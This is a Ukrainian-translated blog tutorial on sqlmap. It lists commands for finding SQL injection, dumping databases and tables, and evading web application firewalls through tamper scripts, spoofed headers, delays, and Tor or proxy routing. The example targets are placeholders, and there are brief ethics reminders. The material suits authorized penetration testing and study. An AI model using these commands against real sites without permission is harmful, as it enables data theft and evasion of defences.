Використовуйте SQL-Map на максимум.

pic

1. Підготовка

  • Зрозумійте ціль:
    • Визначте URL або параметр, який, ймовірно, є вразливим до SQL-ін'єкцій.
    • Переконайтесь, що у вас є дозвіл на тестування цілі.
  • Встановіть SQLmap:
    • Встановіть через Python: pip install sqlmap або завантажте з sqlmap.org.
  • Зберіть необхідну інформацію:
    • Знайте тип бази даних (MySQL, MSSQL, PostgreSQL тощо) та її поведінку.

2. Основне використання

Запустіть наступну команду у вашому терміналі:

sqlmap -u "http://example.com/page?param=value"
  • Замініть http://example.com/page?param=value на ваш цільовий URL.

3. Розширене сканування

  • Визначте тип та версію бази даних:
sqlmap -u "http://example.com/page?param=value" --banner
  • Перевірте на вразливості бази даних:
sqlmap -u "http://example.com/page?param=value" --dbs
  • Це покаже всі бази даних, доступні на цільовій системі.
  • Вивантажте таблиці бази даних:
sqlmap -u "http://example.com/page?param=value" -D database_name --tables
  • Вивантажте дані з конкретної таблиці:
sqlmap -u "http://example.com/page?param=value" -D database_name -T table_name --dump

4. Тонка настройка для кращих результатів

  • Визначте параметри:
    • Використовуйте параметри --level та --risk для налаштування інтенсивності:
sqlmap -u "http://example.com/page?param=value" --level=5 --risk=3
  • Перевірте специфічні HTTP-методи:
sqlmap -u "http://example.com/page?param=value" --method=POST
  • Оминання WAF/Фільтрів:
    • Використовуйте скрипти для маніпуляцій:
sqlmap -u "http://example.com/page?param=value" --tamper=charencode

5. Автоматизація та логування

  • Збережіть результати у файл:
sqlmap -u "http://example.com/page?param=value" --batch --output-dir=results/
  • Автоматизуйте за допомогою режиму партії:
sqlmap -u "http://example.com/page?param=value" --batch

6. Етичні міркування

  • Завжди отримуйте явний дозвіл перед тестуванням вебсайту.
  • Використовуйте SQLmap відповідально для тестування на проникнення або навчання, а не для зловмисних цілей.

7. Використання скриптів для маніпуляцій

SQLmap включає скрипти для маніпуляцій, які змінюють payload для уникнення виявлення WAF.

  • Перегляньте доступні скрипти для маніпуляцій:
sqlmap --list-tampers
  • Типові скрипти для маніпуляцій:
    • space2comment: Заміняє пробіли на коментарі (/**/).
    • charencode: Кодує payload як шістнадцяткові або Unicode символи.
    • base64encode: Кодує payload у форматі Base64.
    • randomcase: Рандомізує регістр символів у payload.
  • Приклад використання:
sqlmap -u "http://example.com/page?param=value" --tamper=space2comment,charencode

8. Кодування запитів

Кодування може допомогти уникнути базових фільтраційних механізмів.

  • URL-кодування:
sqlmap -u "http://example.com/page?param=value" --tamper=percentencode
  • Шістнадцяткове кодування:
sqlmap -u "http://example.com/page?param=value" --tamper=charencode

9. Зміна User-Agent або заголовків

Деякі WAF можуть помічати запити на основі заголовків або рядків User-Agent.

  • Встановіть власний User-Agent:
sqlmap -u "http://example.com/page?param=value" --user-agent="Mozilla/5.0"
  • Додайте/Змініть заголовки:
sqlmap -u "http://example.com/page?param=value" --headers="X-Forwarded-For: 127.0.0.1"

10. Використання POST-запитів

Якщо параметри GET заблоковані або сильно фільтруються, спробуйте протестувати параметри POST.

  • Приклад методу POST:
sqlmap -u "http://example.com/page" --data="param=value" --method=POST

11. Рандомізація параметрів та затримки

Уникайте виявлення з боку WAF, які моніторять повторювані патерни або високу частоту запитів.

  • Рандомізуйте порядок параметрів:
sqlmap -u "http://example.com/page?param=value" --randomize=param
  • Додайте затримки між запитами:
sqlmap -u "http://example.com/page?param=value" --delay=5

12.

12. Використовуйте Проксі та VPN

  • Направляйте свої запити через проксі, щоб приховати свою IP-адресу або протестувати ефект різних діапазонів IP-адрес.
sqlmap -u "http://example.com/page?param=value" --proxy=http://127.0.0.1:8080
  • Використовуйте Tor для анонімності:
sqlmap -u "http://example.com/page?param=value" --tor --tor-type=SOCKS5 --check-tor

13. Створення користувацьких Payload

Деякі WAF дозволяють певні шаблони payload пройти через фільтри.

  • Впровадьте Null байти:
sqlmap -u "http://example.com/page?param=value" --tamper=nullbyte
  • Додайте варіації пробілів:
sqlmap -u "http://example.com/page?param=value" --tamper=space2hash

14. Фінгерпринтинг WAF

Визначте WAF для налаштування підходу:

  • Використовуйте інструмент для фінгерпринтингу WAF, наприклад WAFW00F:
wafw00f http://example.com

Після того, як WAF буде визначено, досліджуйте специфічні техніки обходу для цього WAF.

15. Цільове використання помилок для експлуатації

Деякі WAF не можуть ефективно блокувати техніки SQL-ін'єкцій на основі помилок.

  • Примусьте виведення помилок:
sqlmap -u "http://example.com/page?param=value" --technique=E

16. Використання сліпих SQL-ін'єкцій

Якщо WAF блокує помилки, спробуйте часові сліпі SQL-ін'єкції.

  • Часова ін'єкція:
sqlmap -u "http://example.com/page?param=value" --technique=T
  • Комбінуйте з скриптами для маніпуляцій:
sqlmap -u "http://example.com/page?param=value" --technique=T --tamper=space2comment

17. Уникнення виявлення за допомогою тонких Payload

  • Часткові тести: Тестуйте окремі символи або менші запити:
sqlmap -u "http://example.com/page?param=1'" --batch
  • Техніки на основі логічних операторів:
sqlmap -u "http://example.com/page?param=1" --technique=B

18. Перелічення бази даних без виявлення

  • Визначте схему бази даних:
sqlmap -u "http://example.com/page?param=value" --dbs
  • Витягніть конкретні дані:
sqlmap -u "http://example.com/page?param=value" -D database_name -T table_name --dump

19. Використання поєднаних технік

Комбінуйте техніки для кращих результатів:

sqlmap -u "http://example.com/page?param=value" --technique=BEUSTQ --tamper=space2comment,randomcase --delay=5

Етичні застереження

  • Завжди отримуйте явний дозвіл перед тестуванням будь-якого вебсайту.
  • SQLmap — це інструмент для тестування на проникнення та навчання, а не для зловмисних дій.

Найкращі практики

  • Починайте з низьких рівнів ризику та поступово збільшуйте їх.
  • Використовуйте скрипти для маніпуляцій, щоб обходити WAF, якщо є механізми виявлення.
  • Поєднуйте ручний аналіз з результатами SQLmap для перевірки знайдених вразливостей.
  • Регулярно оновлюйте SQLmap, щоб забезпечити сумісність з останніми заходами безпеки.

Перекладено з: Use SQL-Map at its best.

Leave a Reply

Your email address will not be published. Required fields are marked *